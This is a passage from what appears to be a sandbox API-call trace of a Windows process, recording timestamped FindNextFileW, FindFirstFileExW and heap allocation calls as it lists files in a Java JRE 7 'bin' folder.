Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.085] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.086] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.086] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x35da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="npoji610.dll", cAlternateFileName="")) returned 1 [0088.086] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.086] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.086] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.087] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.087] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.087] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.087] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x45a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="npt.dll", cAlternateFileName="")) returned 1 [0088.087] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.088] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.088] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.088] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.088] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="orbd.exe", cAlternateFileName="")) returned 1 [0088.089] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.089] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.089] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.089] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.089] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.090] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.090] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pack200.exe", cAlternateFileName="")) returned 1 [0088.090] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.090] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.090] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.091] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.091] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.091] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.091] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin2", cAlternateFileName="")) returned 1 [0088.091] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="policytool.exe", cAlternateFileName="")) returned 1 [0088.091] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.092] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.092] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.092] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.092] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.093] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.093] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="prism-d3d.dll", cAlternateFileName="")) returned 1 [0088.093] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.093] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.093] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.094] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.094] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.094] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="rmid.exe", cAlternateFileName="")) returned 1 [0088.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.094] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.095] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.095] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.095] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.095] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.095] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="rmiregistry.exe", cAlternateFileName="")) returned 1 [0088.095] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.096] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.096] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.096] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.096] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.097] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.097] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="servertool.exe", cAlternateFileName="")) returned 1 [0088.097] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.097] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.097] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.098] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.098] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.098] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.098] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2ffa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="splashscreen.dll", cAlternateFileName="")) returned 1 [0088.098] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.099] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.099] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.099] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.099] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.100] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.100] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x70fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ssv.dll", cAlternateFileName="")) returned 1 [0088.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.100] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.101] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.101] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.101] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.101] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xbfa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ssvagent.exe", cAlternateFileName="")) returned 1 [0088.101] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.102] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.102] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.102] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.102] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.102] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.103] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1e3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunec.dll", cAlternateFileName="")) returned 1 [0088.103] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.103] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.103] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.103] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.103] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.104] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.104] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x63a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunmscapi.dll", cAlternateFileName="")) returned 1 [0088.104] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.104] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.104] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.105] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.105] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.105] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.105] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2f1a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="t2k.dll", cAlternateFileName="")) returned 1 [0088.105] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.106] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.106] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.106] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.106] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.107] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.107] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="tnameserv.exe", cAlternateFileName="")) returned 1 [0088.107] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.107] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.107] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.108] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.108] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.108] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xe3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="unpack.dll", cAlternateFileName="")) returned 1 [0088.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.109] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.109] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.109] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.109] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x23ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="unpack200.exe", cAlternateFileName="")) returned 1 [0088.110] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x9ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="verify.dll", cAlternateFileName="")) returned 1 [0088.110] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x53a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="w2k_lsa_auth.dll", cAlternateFileName="")) returned 1 [0088.110] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x177a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsAccessBridge-32.dll", cAlternateFileName="")) returned 1 [0088.110] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x28fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="wsdetect.dll", cAlternateFileName="")) returned 1 [0088.110] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x105a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="zip.dll", cAlternateFileName="")) returned 1 [0088.110] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x105a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="zip.dll", cAlternateFileName="")) returned 0 [0088.110] GetLastError () returned 0x12 [0088.110] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0088.110] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0088.110] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.111] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x11e7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="awt.dll", cAlternateFileName="")) returned 1 [0088.111] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x255a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="axbridge.dll", cAlternateFileName="")) returned 1 [0088.111] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x76eb12e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x76eb12e0, 